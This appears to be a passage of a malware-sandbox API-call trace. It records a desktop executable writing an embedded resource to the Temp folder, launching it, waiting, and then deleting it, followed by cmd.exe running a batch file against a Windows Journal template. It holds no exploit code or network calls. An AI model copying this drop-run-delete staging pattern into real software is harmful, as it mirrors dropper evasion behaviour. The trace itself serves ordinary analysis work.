\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0097.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ·ê\x87Säþ\x18", lpUsedDefaultChar=0x0) returned 256 [0097.484] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x80) returned 0x289248 [0097.485] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0097.485] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0097.486] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289248) returned 0x80 [0097.486] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0097.486] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0097.486] GetCurrentProcess () returned 0xffffffff [0097.486] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0097.486] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0097.486] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0097.486] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0097.487] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0097.487] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0097.487] LockResource (hResData=0x43c648) returned 0x43c648 [0097.487] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x18) returned 0x289718 [0097.487] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0097.489] GetFileType (hFile=0x90) returned 0x1 [0097.489] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0097.496] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1000) returned 0x289738 [0097.497] WriteFile (in: hFile=0x90, lpBuffer=0x289738*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x289738*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0097.497] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289738 | out: hHeap=0x270000) returned 1 [0097.497] CloseHandle (hObject=0x90) returned 1 [0097.497] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0097.497] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xdd4, dwThreadId=0xdd8)) returned 1 [0097.515] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0099.047] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0099.048] CloseHandle (hObject=0x94) returned 1 [0099.048] CloseHandle (hObject=0x90) returned 1 [0099.048] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288818 | out: hHeap=0x270000) returned 1 [0099.048] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0099.049] ExitProcess (uExitCode=0x0) [0099.049] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2870b0 | out: hHeap=0x270000) returned 1 Process: id = "176" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x643c000" os_pid = "0xdbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 739 os_tid = 0xdc0 [0099.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39f99c | out: lpSystemTimeAsFileTime=0x39f99c*(dwLowDateTime=0xdefe9a20, dwHighDateTime=0x1d5d06a)) [0099.865] GetCurrentProcessId () returned 0xdbc [0099.865] GetCurrentThreadId () returned 0xdc0 [0099.865] GetTickCount () returned 0x1160b28 [0099.865] QueryPerformanceCounter (in: lpPerformanceCount=0x39f994 | out: lpPerformanceCount=0x39f994*=24181738326) returned 1 [0099.866] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0099.866] __set_app_type (_Type=0x1) [0099.866] __p__fmode () returned 0x76be31f4 [0099.866] __p__commode () returned 0x76be31fc [0099.867] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0099.867] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0099.867] GetCurrentThreadId () returned 0xdc0 [0099.867] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdc0) returned 0x60 [0099.867] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0099.867] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0099.867] SetThreadUILanguage (LangId=0x0) returned 0x409 [0100.039] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0100.039] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x39f92c | out: phkResult=0x39f92c*=0x0) returned 0x2 [0100.040] VirtualQuery (in: lpAddress=0x39f963, lpBuffer=0x39f8fc, dwLength=0x1c | out: lpBuffer=0x39f8fc*(BaseAddress=0x39f000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.040] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x39f8fc, dwLength=0x1c | out: lpBuffer=0x39f8fc*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0100.040] VirtualQuery (in: lpAddress=0x2a1000, lpBuffer=0x39f8fc, dwLength=0x1c | out: lpBuffer=0x39f8fc*(BaseAddress=0x2a1000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0100.040] VirtualQuery (in: lpAddress=0x2a3000, lpBuffer=0x39f8fc, dwLength=0x1c | out: lpBuffer=0x39f8fc*(BaseAddress=0x2a3000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.040] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x39f8fc, dwLength=0x1c | out: lpBuffer=0x39f8fc*(BaseAddress=0x3a0000, AllocationBase=0x3a0000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0100.040] GetConsoleOutputCP () returned 0x1b5 [0100.040] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.040] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0100.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.040] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0100.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.040] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0100.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.041] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.041] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.041] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0100.041] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.041] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0100.042] GetEnvironmentStringsW () returned 0x102118* [0100.042] GetProcessHeap () returned 0xf0000 [0100.042] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xaca) returned 0x102bf0 [0100.042] FreeEnvironmentStringsW (penv=0x102118) returned 1 [0100.042] GetProcessHeap () returned 0xf0000 [0100.042] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x4) returned 0x1018b0 [0100.042] GetEnvironmentStringsW () returned 0x102118* [0100.042] GetProcessHeap () returned 0xf0000 [0100.042] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xaca) returned 0x1036c8 [0100.042] FreeEnvironmentStringsW (penv=0x102118) returned 1 [0100.043] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e89c | out: phkResult=0x39e89c*=0x68) returned 0x0 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x0, lpData=0x39e8a8*=0x0, lpcbData=0x39e8a0*=0x1000) returned 0x2 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x1, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x0, lpData=0x39e8a8*=0x1, lpcbData=0x39e8a0*=0x1000) returned 0x2 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x0, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x40, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x40, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x0, lpData=0x39e8a8*=0x40, lpcbData=0x39e8a0*=0x1000) returned 0x2 [0100.043] RegCloseKey (hKey=0x68) returned 0x0 [0100.043] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e89c | out: phkResult=0x39e89c*=0x68) returned 0x0 [0100.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x0, lpData=0x39e8a8*=0x40, lpcbData=0x39e8a0*=0x1000) returned 0x2 [0100.044] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x1, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.044] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x0, lpData=0x39e8a8*=0x1, lpcbData=0x39e8a0*=0x1000) returned 0x2 [0100.044] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x0, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.044] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x9, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.044] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x4, lpData=0x39e8a8*=0x9, lpcbData=0x39e8a0*=0x4) returned 0x0 [0100.044] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e8a4, lpData=0x39e8a8, lpcbData=0x39e8a0*=0x1000 | out: lpType=0x39e8a4*=0x0, lpData=0x39e8a8*=0x9, lpcbData=0x39e8a0*=0x1000) returned 0x2 [0100.044] RegCloseKey (hKey=0x68) returned 0x0 [0100.044] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710f6 [0100.044] srand (_Seed=0x5e2710f6) [0100.044] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"\"" [0100.044] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"\"" [0100.044] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.045] GetProcessHeap () returned 0xf0000 [0100.045] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x210) returned 0x102118 [0100.045] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x102120, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0100.045] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0100.045] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0100.045] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0100.045] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0100.045] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0100.045] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0100.045] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0100.045] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0100.045] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0100.045] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0100.045] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0100.045] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0100.045] GetProcessHeap () returned 0xf0000 [0100.045] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x102bf0 | out: hHeap=0xf0000) returned 1 [0100.045] GetEnvironmentStringsW () returned 0x102330* [0100.045] GetProcessHeap () returned 0xf0000 [0100.045] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xae2) returned 0x104c90 [0100.046] FreeEnvironmentStringsW (penv=0x102330) returned 1 [0100.046] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.046] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0100.046] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0100.046] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0100.046] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0100.046] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0100.046] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0100.046] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0100.046] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0100.046] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0100.046] GetProcessHeap () returned 0xf0000 [0100.046] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x54) returned 0x1017e0 [0100.046] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x39f668 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x39f668, lpFilePart=0x39f664 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39f664*="Desktop") returned 0x25 [0100.046] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0100.046] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39f3e4 | out: lpFindFileData=0x39f3e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x105780 [0100.046] FindClose (in: hFindFile=0x105780 | out: hFindFile=0x105780) returned 1 [0100.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39f3e4 | out: lpFindFileData=0x39f3e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x105780 [0100.047] FindClose (in: hFindFile=0x105780 | out: hFindFile=0x105780) returned 1 [0100.047] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0100.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39f3e4 | out: lpFindFileData=0x39f3e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x105780 [0100.047] FindClose (in: hFindFile=0x105780 | out: hFindFile=0x105780) returned 1 [0100.047] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0100.047] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0100.047] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0100.047] GetProcessHeap () returned 0xf0000 [0100.047] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104c90 | out: hHeap=0xf0000) returned 1 [0100.047] GetEnvironmentStringsW () returned 0x1041a0* [0100.047] GetProcessHeap () returned 0xf0000 [0100.047] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb36) returned 0x105fc0 [0100.047] FreeEnvironmentStringsW (penv=0x1041a0) returned 1 [0100.047] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0100.047] GetProcessHeap () returned 0xf0000 [0100.047] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1017e0 | out: hHeap=0xf0000) returned 1 [0100.048] GetProcessHeap () returned 0xf0000 [0100.048] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400e) returned 0x106b00 